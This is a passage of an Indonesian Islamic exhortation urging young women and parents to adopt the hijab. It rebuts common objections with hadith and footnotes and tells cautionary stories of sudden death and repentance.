Syubhat yang dibisikkan setan kepada sebagian akhawat yang tidak berhijab ini, pangkalnya adalah perasaan bahwa para pemuda tidak akan mau memutuskan menikah kecuali jika ia telah melihat badan, rambut, kulit, kecantikan, dan perhiasan sang gadis. Jika ia berhijab atau memakai cadar, tentu tak ada yang bisa dilihat pada dirinya, sehingga sang pemuda enggan mengambil keputusan untuk menikahinya.
Ironinya, kepercayaan ini, tidak hanya dimonopoli para akhawat, tetapi juga merupakan kepercayaan para orang tua, pada akhirnya, mereka melarang anak-anak putrinya memakai hijab. Syubhat ini tidak bisa diterima lewat dua alasan mendasar.

1.     Penilaian dari sisi teori dasar.
Meskipun kecantikan merupakan salah satu sebab paling pokok dalam pernikahan, tetapi ia bukan satu-satunya sebab dinikahinya wanita. Rasulullah r bersabda :

" تنكح المرأة لأربع : لمالها, ولحسبها, ولجمالها، ولدينها، فاظفر بذات الدين تربت يداك " رواه البخاري : ( 9/ 115) في النكاح.

“ Wanita dinikahi itu karena empat hal : Yaitu karena harta, keturunan, kecantikan, dan agamanya. Dapatkanlah wanita yang berpegang teguh dengan agama( jika tidak ) niscaya kedua tanganmu berlumur debu” [4] .
Memang demikian yang terjadi, kaum laki-laki tidak hanya melihat unsur kecantikan semata, tetapi ada hal-hal lain yang menyatu dengan kecantikan itu atau terlepas darinya, yang dijadikan pertimbangan dalam memilih istri. Namun para gadis dan orang tua banyak yang menganggap kecantikan adalah segala-galanya. Atau setidak-tidaknya menjadikan kecantikan sebagai unsur yang terpenting, sedangkan hal lainnya bisa dikesampingkan. Jelas, jalan pikiran seperti ini bertentangan dengan naluri manusia.

2.     Penilaian dari sisi empiris:
Bisa jadi sikap gadis-gadis yang biasa memperlihatkan aurat(yang dimaksudkan untuk menawan hati pria) menjadi bumerang bagi dirinya sendiri. Betapa banyak tindakan itu malah membuat para pemuda enggan menikahinya. Sebab bisa saja pemuda itu beranggapan, bahwa jika wanita tersebut berani melanggar salah satu perintah Allah, yaitu hijab, tidak menutup kemungkinan dia akan berani melanggar perintah-perantah yang lain. Karena setan memiliki banyak kiat.
Meskipun terkadang kenyataan yang ada tidak selalu sesuai  dengan pendapat ini, tetapi memang begitulah keadaan mayoritas pemuda kita di zaman sekarang. Pemuda yang menyunting gadis berhijab, namanya akan menjadi harum, meskipun dia sendiri tidak termasuk orang-orang yang  taat menjalankan perintah agama.

f. SYUBHAT KEENAM : IA MASIH BELUM DEWASA
Syubhat ini banyak beredar dikalangan orang tua serta sebagian akhawat yang tidak berhijab. Sebenarnya anak-anak tersebut sudah memiliki niat untuk memakai hijab, tetapi kemudian di tunda  karena syubhat ini. Karena itu dalih ini  lebih pantas disebut hawa nafsu dari pada syubhat.
Kebanyakan mereka berkata: jangan sampai melarangnya menikmati kehidupan. Dia toh masih belum dewasa. Dia masih senang memakai pakaian yang indah, bersolek dengan berbagai macam make up serta masih suka menampakkan kecantikannya. Semua itu membuatnya lebih berbahagia dan menikamati hidup.
Kenapa kita melarang dan menghalangi kebahagiaan justru pada saat umur mereka masih relatif sangat muda ? kalau kita terlanjur ketinggalan kereta, mengapa kita membuatnya pula ketinggalan kereta dengan begitu tergesa-gesa ? ( maksudnya jika ia menyuruh anak putrinya memakai hijab sejak dini).
Menurut pendapat mereka , masa belum dewasa berlangsung hingga anak berumur dua puluh tahun. Karenanya, meskipun ada gadis yang sudah datang bulan pada umur tiga belas tahun, dia masih dianggap anak-anak.

1.     Nasihat untuk para wali:
Sesungguhnya para wali baik bapak atau ibu yang mencegah anak putrinya berhijab, dengan dalih karena masih belum dewasa, mereka memiliki tanggung jawab yang besar di hadapan Allah pada hari kiamat.
Ketika seorang gadis  mendapatkan haidh, seketika itu pula ia wajib berhijab, menurut syariat. Jika wali gadis itu melarangnya berhijab, maka dia mendapat dosa yang besar, dan Allah akan menanyakan hal itu pada hari kiamat. Allah berfirman :

]وَقِفُوهُمْ إِنَّهُم مَّسْئُولُونَ[ (24) سورة الصافات
“ Dan tahanlah mereka ( di tempat perhentian ) karena sesungguhnya mereka akan ditanya” ( Ash Shaaffaat : 24).

Nabi Shallallahu ‘alaihi wasallam bersabda :

" كلكم راع وكلكم مسئول عن رعيته "  رواه البخاري ( 13/ 100) في الأحكام – وله تكملة.

“Masing-masing kamu adalah pemimpin dan masing-masing kamu akan ditanya tentang yang dipimpinnya….” [5].

Seorang ayah adalah pemimpin pertama dalam rumah tangga, pada hari kiamat dia akan ditanya tentang masing-masing orang yang ada  di bawah kepemimpinannya.
Setiap ayah hendaknya bertanya kepada diri mereka sendiri: “betapa banyak para pemuda  yang tergoda oleh anak putrinya ? seberapa jauh putrinya menyebabkan penyimpangan  para pemuda?

2.     Ungkapan cinta untuk anak-anak putri
Allah sebagai saksi, betapa kami amat mengkhawatirkan dirimu akan mendapat siksa Allah. Kami begitu ingin menyelamatkanmu dari segala bahaya yang akan menimpamu, baik di dunia maupun di akhirat. Ini adalah kewajiban seorang muslim kepada saudaranya muslim yang lain.
Di antara bahaya yang akan menimpa ukhti yang tidak berhijab, baik di dunia maupun di akhirat, adalah seperti di sebutkan Nabi Shallallahu ‘alaihi wasallam dalam sabdanya :

" سيكون في آخر أمتي رجال بركبون على السروج كأشباه الرجال ينـزلون عل أبواب المساجد نسائهم كاسيات عاريات على رؤوسهن كأسنمة البخت العجاف العنوهن فإنهن ملعونات" ( رواه أحمد ( 2/223) قال الهيثمي : رجال أحمد رجال الصحيح ( مجمع الزوائد ).

“ Akan ada di akhir umatku, kaum laki yang menunggang pelana ( seperti layaknya kaum lelaki ) mereka turun di depan pintu-pintu masjid, wanita-wanita mereka berpakaian   ( tetapi ) telanjang , di atas kepala mereka ( terdapat) sesuatu seperti punuk onta yang lemah gemulai. Laknatlah mereka ! sesungguhnya mereka adalah wanita-wanita terlaknat”[6] .

Wahai ukhti yang tidak berhijab! Tahukah engkau makna laknat ? Laknat artinya dijauhkan dari rahmat Allah Ta’ala.
Dalam hadits tadi, Rasulullah Shallallahu ‘alaihi wasallam memerintahkan setiap muslim, agar melaknat tipe wanita seperti yang telah disebutkan. Yaitu mereka yang mengenakan pakaian di tubuh mereka tapi tidak sampai menutup auratnya, sehingga seakan –akan mereka telanjang dalam hadits lain Rasulullah r bersabda :

" صنفان من أهل النار لم أرهما قوم معهم سياط كأذناب البقر يضربون بها الناس، ونساء عاريات مميلات مائلات رؤوسهن كأسنمة البخت المائلة لا يدخلون الجنة ولا يجدون ريحها وإن ريحها لتوجد من مسيرة كذا وكذا" رواه مسلم ( 2118)

“ Dua kelompok termasuk penghuni neraka, aku ( sendiri) belum pernah melihat mereka, yaitu orang-orang yang membawa cemeti seperti ekor sapi, dengannya mereka mencambuki manusia, dan para wanita yang berpakaian ( tetapi ) telanjang , bergoyang-goyang dan berlenggak lenggok, kepala mereka ( ada sesuatu ) seperti punuk onta yang bergoyang-goyang. Mereka tentu tidak masuk surga, bahkan tidak mendapatkan baunya, dan sesungguhnya bau surga itu tercium dari jarak perjalanan sekian dan sekian”.( HR Muslim ,No : 2128).

Dalam hadits tersebut terdapat sifat-sifat secara rinci tetang golongan wanita ini, yaitu :
1. mengenakan sebagian pakaian , tetapi dia menyerupai orang telanjang, karena sebagian tubuh mereka terbuka dan itu mudah membangkitkan birahi laki-laki, seperti paha, lengan, rambut, dada, dan lain-lainnya. Juga pakaian yang tembus pandang atau yang amat ketat, sehingga membentuk lekuk –lekuk tubuhnya, maka ia seperti telanjang, meski berpakaian.
2.  jalannya lenggak-lenggok dan bergoyang sehingga      membangkitkan nafsu birahi.
3.     kepalanya tampak lebih tinggi, karena ia membuat seni hiasan dari bulu atau rambut sintesis, karena tingginya ia seperti punuk onta.

Hadits tersebut juga menjelaskan hakikat golongan wanita yang tidak masuk surga, bahkan sekedar menciaum bau wanginyapun tidak, padahal rahmat Allah meliputi segenap langit dan bumi. Belum lagi Rasulullah Shallallahu ‘alaihi wasallam menyuruh kaum muslimin agar melaknat mereka: “laknatlah mereka,sesungguhnya  mereka  adalah wanita terlaknat”.
Kami tidak menginginkan, selain kebaikan bagi anda. Kekhawatiran bagi diri anda, mendorong kami berharap dari lubuk hati kami yang paling dalam, untuk menjauhkan anda  dari segala yang tidak disenangi. Semoga Allah mengisi hati anda  dengan cahayaNya yang tidak pernah padam, lalu anda menang dalam pertarungan melawan setan jin dan manusia, selanjutnya anda berketepatan melepaskan jeratan dan memerdekakan diri dari tawanan hawa nafsu, menuju alam kebebasan, kemuliaan, kehormatan, ketenangan dan alam kesucian.

4.     Apakah anda menjamin umur masih panjang?
Wahai ukhti yang tidak berhijab! Engkau tidak mau berhijab dengan dalih masih belum dewasa, apakah engkau dapat menjamin umurmu masih beberapa saat? Apakah engkau tahu, atau seseorang mengabarkan kepadamu tentang kapan engkau bakal mati?
          Jika tidak, maka boleh jadi kematian akan menjemputmu setelah setahun, sebulan, seminggu, sehari, sejam, atau sedetik kemudian. Semua itu serba mungkin, selama kita tidak tahu ajal kita akan datang.
          Wahai ukhti, kematian tidak hanya mengetuk pintu orang yang sakit, tidak pula orang yang lanjut usia saja, tetapi juga orang-orang yang sehat walafiat, orang dewasa,pemuda, bahkan bayi yang masih menetek di pangkuan ibunya, banyak contoh yang tidak bisa dipaparkan.
         
G.              KISAH-KISAH NYATA
1.     Kematian yang tiba-tiba:
Seorang anggota parlemen dalam kondisi kesehatan yang prima, penuh energik dan memiliki etos kerja sangat tinggi, orangnya masih muda. Namun, tiba-tiba virus ganas menyerang otaknya. Tak berlangsung lama, virus tersebut berubah menjadi segumpal daging. Anggota parlemen itu akhirnya tidak berdaya dan meninggal dengan cara yang amat mengenaskan.

2.     Kematian tak kenal orang sehat sehat atau sakit:

Seorang komandan tinggi dijajaran angkatan bersenjata, ia tidak pernah mengeluhkan suatu penyakit apapun, tubuhnya padat berisi, otot-ototnya kekar, lincah dan gesit dalam melakukan tugas diteritorialnya. Seperti biasa , pada suatu malam, ia pergi tidur. Di pagi hari, sang ibu membangunkannya. Tak ada jawaban. Apa yang terjadi ? ternyata tubuhnya telah dingin dan terbujur kaku. Tidur itu mengahantarkan pada kematian yang tak akan kembali lagi.
3.      Temanku mati terbakar
Abu Abdillah berkata : “ Aku tak tahu, bagaimana harus menuturkan kisah ini padamu. Kisah yang pernah aku alami sendiri beberapa tahun yang lalu, sehingga mengubah total perjalanan hidupku, sebenarnya aku tak ingin menceritakannya, tapi demi tanggung jawab di hadapan Allah, dan peringatan bagi para pemuda yang mendurhakai Allah dan demi pelajaran bagi para gadis yang mengejar bayangan semu, yang disebut cinta, maka aku ungkapkan kisah ini.
Ketika itu, kami tiga sekawan. Yang mengumpulkan kami adalah kesamaan nafsu dan kesia-siaan. Oh tidak, kami berempat satunya lagi adalah setan.
Kami berburu gadis-gadis. Mereka kami rayu dengan kata-kata manis, hingga mereka takluk, lalu kami bawa ke sebuah taman kecil terpencil. Di sana kami berubah menjadi serigala-serigala  yang tak menaruh belas kasihan mendengar rintihan permohonan mereka, hati dan perasaan kami sudah mati.
 Begitulah hari-hari kami di taman, di tenda atau dalam mobil yang di parkir di pinggir pantai. Sampai suatu hari, yang tak pernah saya bisa melupakannya, seperti biasa kami pergi ke taman. Seperti biasa pula, masing-masing kami menyantap satu mangsa gadis, di temani minunan laknat. Satu hal kami lupa saat itu, makanan. Segera salah seorang di antara kami bergegas membeli makanan dengan mengendarai mobilnya. Saat ia berangkat. Jam menunjukkan pukul enam sore. Beberapa jam berlalu, tapi taman kami itu belum juga kembali. Pukul sepuluh malam , hatiku mulai tak enak dan gusar. Maka aku  segera membawa mobil untuk mencarinya, di tengah perjalanan, di kejauhan aku melihat jilatan api, aku mencoba mendekat.
Astaghfirullah, aku hampir tak percaya dengan yang kulihat. Ternyata api itu bersumber dari mobil temanku yang terbalik dan terbakar. Aku panik seperti orang gila. Aku segera mengeluarkan tubuh temanku dari mobilnya yang masih menyala. Aku ngeri tatkala melihat separuh tubuhnya masak terpanggang api. Kubopong tubuhnya lalu kuletakkan di tanah.
Sejenak kemudian, dia berusaha membuka kedua belah matanya, ia berbisik lirih : “ api …., api ……!
Aku memutuskan untuk membawanya ke rumah sakit dengan mobilku. Tetapi dengan suara campur tangis, ia mencegah: “ Tak ada gunanya .. aku tak akan sampai …!
Air mataku tumpah, aku harus menyaksikan temanku  meninggal di hadapanku. Di tengah kepanikanku, tiba-tiba ia berteriak lemah: “ apa yang mesti kukatakan kepadaNya? Apa yang mesti kukatakan padaNya?
Aku memandanginya penuh keheranan. “ siapa ? Tanyaku. Dengan suara yang seakan  berasal dari sumur yang amat dalam, dia menjawab : “Allah!”
Aku merinding ketakutan. Tubuh dan perasaanku terguncang keras. Tiba-tiba temanku itu menjerit, gemanya menyelusup kesetiap relung malam yang gulita, lalu kudengar teriakan  nafasnya yang terakhir : “ Innaalillaahi wa’inna ilaihi raajiuun.”
Setelah itu, hari-hari berlalu seperti sedia kala, tetapi bayangan temanku yang meninggal, jerit kesakitannya, api yang membakarnya, dan lolongannya” apa yang harus kukatakan padaNya ? Apa yang harus kukatakan padaNya? Seakan terus membuntuti setiap gerak dan diamku.
Pada diriku sendiri aku bertanya: “ Aku …apa yang harus kukatakan padaNya?
Air mataku menetes lalu sebuah getaran aneh menjalari jiwaku. Saat puncak perenungan itulah, sayup-sayup aku mendengar adzan subuh menggema: Allahu Akbar, Allahu Akbar, Asyhadu alla ilaaha illa Allah …. Asyhadu Anna Muhammadar Rasuulullah, Hayya ‘ Alash Shalaah …”
Aku merasa bahwa adzan itu hanya ditujukan pada diriku saja. Mengajakku menyingkap fase kehidupanku yang kelam, mengajakku pada jalan cahaya dan hidayah. Aku segera bangkit mandi dan wudhu, mensucikan tubuhku dari noda-noda kehinaan yang menenggelamku selama bertahun-tahun.
Sejak saat itu, aku tak pernah lagi meninggalkan shalat. Aku memuji Allah, yang tidak layak dipuji selain Dia. Aku telah menjadi manusia lain. Maha Suci Allah yang mengubah berbagai keadaan. Dengan seizing Allah , aku telah menunaikan umrah. Insya Allah aku akan melaksanakan haji dalam waktu dekat, siapa yang tahu ? umur ada di tangan Alloh ? [[7]].
4.     Kesudahan yang berlawanan:
Tatkala masih di bangku sekolah, aku hidup bersama kedua orang tuaku dalam lingkungan yang baik. Aku selalu mendengar do’a ibuku saat pulang dari keluyuran dan begadang malam. Demikian pula ayahku, ia selalu dalam shalatnya yang panjang. Aku heran mengapa ayah shalat begitu lama, apa lagi jika saat musim dingin yang menyengat tulang.
     Aku sungguh heran, bahkan hingga aku berkata kepada diriku sendiri : “ alangkah sabarnya mereka …. Setiap hari begitu ….. benar-benar mengherankan!.
     Aku belum tahu bahwa di situlah kebahagiaan orang mukmin, dan itulah shalat-shalat orang-orang pilihan… mereka bangkit dari tempat tidurnya untuk bermunajat kepada Allah.
     Setelah menjalani pendidikan militer, aku tumbuh sebagai pemuda yang matang. Tetapi diriku semakin jauh dari Allah.padahal berbagai nasihat kuterima dan kudengar dari waktu ke waktu.
     Setelah tamat dari pendidikan, aku ditugaskan di kota yang jauh dari kotaku. Perkenalanku dengan teman-teman sekerja membuatku agak ringan menanggung beban sebagai orang terasing.
     Di sana, aku tak mendengar lagi suara bacaan Al Qur’an. Tak ada lagi suara ibu yang membangunkan dan menyuruhku shalat. Aku benar-benar hidup sendirian jauh dari lingkungan keluarga yang dulu kami nikmati.
     Aku ditugasi mengatur lalu lintas di jalan tol. Di samping menjaga keamanan jalan. Tugasku membantu orang-orang yang membutuhkan bantuan. Pekerjaan baruku sungguh menyenangkan, aku lakukan tugas-tugasku dengan semangat dan dedikasi tinggi, tetapi hidupku bagaikan di ombang- ambingkan ombak.
     Aku bingung dan sering melamun sendirian… bayak waktu luang …. Pengetahuanku terbatas.
     Aku mulai jenuh… tak ada yang menuntunku di bidang agama. Aku sebatang kara. Hampir setiap hari yang kusaksikan hanya kecelakaan dan orang-orang yang mengadu kecopetan atau bentuk-bentuk penganiayaan lain. Aku bosan dengan rutinitas. Sampai suatu hari terjadilah sebuah peristiwa yang hingga kini tak pernah kulupakan.
     Ketika itu, kami dengan seorang kawan sedang bertugas di sebuah pos jalan. Kami asyik ngobrol … tiba –tiba kami dikagetkan oleh sebuah benturan yang amat keras, kami mengedarkan pandangan. Ternyata sebuah mobil bertabrakan dengan mobil lain yang meluncur dari arah yang berlawanan. Kami segera berlari menuju tempat kejadian untuk menolong korban.
     Kejadian yang sungguh tragis. Kami lihat dua awak salah satu mobil dalam kondisi sangat kritis, keduanya segera kami keluarkan dari mobil lalu kami bujurkan di tanah.
     Kami cepat-cepat menuju mobil satunya. Ternyata pengemudinya telah tewas dengan amat mengerikan. Kami kembali kepada dua orang yang berada dalam kondisi koma. Temanku menuntun mereka mengucapkan kalimat syahadat.
     Ucapkanlah : “Laailaaha Illallaah … laailaaha illallaah perintah temanku.
     Tetapi sungguh mengherankan, dari mulutnya malah meluncur lagu-lagu. Keadaan ini membuatku merinding. Temanku tampaknya sudah biasa menghadapi orang-orang yang sekarat… kembali ia menuntun korban itu membaca syahadat.
     Aku diam membisu, aku tak berkutik dengan pandangan nanar. Seumur hidupku, aku belum pernah menyaksikan  orang yang sedang sekarat, apalagi dengan kondisi seperti ini. Temanku terus menuntun keduanya mengulang-ulang bacaan syahadat , tetapi … keduanya tetap terus saja melantunkan lagu tak ada gunanya…
     Suara lagunya terdengar semakin melemah.. lemah dan lemah sekali. Orang pertama diam, tak bersuara lagi, disusul orang kedua. Tak ada gerak … keduanya telah meninggal dunia.
     Kami segera membawa mereka  ke dalam mobil. Temanku menunduk, ia tak berbicara sepatah katapun. Selama perjalanannya ada kebisuan, hening.
     Kesucian pecah ketika temanku mulai bicara. Ia berbicara tentang hakikat kematian dan su’ul khatimah ( kesudahan yang buruk ) . ia berkata : “ Manusia akan mengakhiri hidupnya………


([1] )           Tafsir Al Qurthubi : 8/ 5325
([2] )           Nuzhatul Muttaqin : 1/25.
([3] ) ceramah syaikh Asy Sya’rawi dengan judul : Apakah manusia dipaksa atau punya pilihan ? disampaikan di kuwait pada tahun 80 an.
([4] )           a. Diriwaytkan oleh Al Bukhari, kitaabun nikah, 9/115.
                b. Kedua tanganmu berlumur debu maksudnya : menjadi fakir ( Subulus Salaam, 2/112
                c. Dalam Al Misbah  di sebutkan , تربت يداك   adalah ungkapan bhasa orang-orang Arab dalam bentuk do’a. hanya saja saja dalam hadits ini tidak dimaksudkan sebagai do’a, tetapi sebagai motivasi dan anjuran.
([5] )           Diriwayatkan oleh Imam Al Bukhari, kitaabul Ahkaam. 13/100. Hadits ini masih ada sambungannya.
([6] )       Diriwayatkan oleh Imam Ahmad ( 2/223) Al Hutsaimi berkata : “ Rijal ( perawai-perawi ) Ahmad ( dalam hadits ini )  adalah rijal shahih ( Majmauz zawa’id )
([7] )           Lisy Syababi Faqoth ( Hal : 7-10)